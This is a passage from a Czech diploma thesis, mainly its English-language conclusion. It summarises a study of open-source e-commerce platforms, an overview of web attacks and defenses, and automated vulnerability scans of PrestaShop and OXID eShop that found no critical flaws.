vybrané aplikace neobsahuji kritické zranitelnosti, které by mohly zéasadné narusit

bezpecnost danych systému ¢i jejich uzivatel.
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ZAVER V ANGLICTINE

This diploma thesis dealt with the analysis of the current situation of open source
applications intended for electronic business and securing against attacks targeted to these

web-based systems.

In first chapter of theoretical part was clarified the concept of electronic business and were
described individual categories of e-commerce systems, defined according to specific
criteria. Furthermore, there were analyzed the features and functionalities of today's the
most advanced e-commerce systems and particularly the possibilities of customer
relationship management, the newest methods of payments, support of scalability and

integration of these applications with financial and accounting systems, etc.

Another section handled with security question in the field of web applications, where was
at first described problem of cybercrime and hacking along with definitions of individual
types of hackers. In this chapter was further processed list of several tens selected attacks
oriented on web applications, which currently brings particularly topical security threat for
many subjects. These described kinds of attacks were in most cases complemented with

practical illustrations, along with possible methods of anti-hacking defense.

The first chapter of the practical part was targeted on describing the list of the most widely
used open source solutions for e-commerce, from which for further needs of work were
selected PrestaShop and OXID eShop Community Edition. The process of selecting
suitable solutions was implemented on the basis of comparison of the systems on specific
criteria. After that was performed installation of both mentioned systems on student
hosting system LW Hosting and subsequently were systems set up and were adjusted theirs
functionalities. Then were fulfilled product catalogues with sample goods, which served

for demonstration of the functionality of these tested electronic shops.

Following section handled with web-based systems vulnerability testing, where at first
were described individual procedures and methods intended for detection of potential
security issues with subsequent focus on software for automated testing of web
applications vulnerabilities. These selected programs were used for security scanning of
installed e-shop systems, in order to uncover potential weaknesses. At the end were
presented the results of these tests with analysis, which showed, that selected applications
doesn’t contain critical vulnerabilities, which could significantly affect the security of

those systems and their users.
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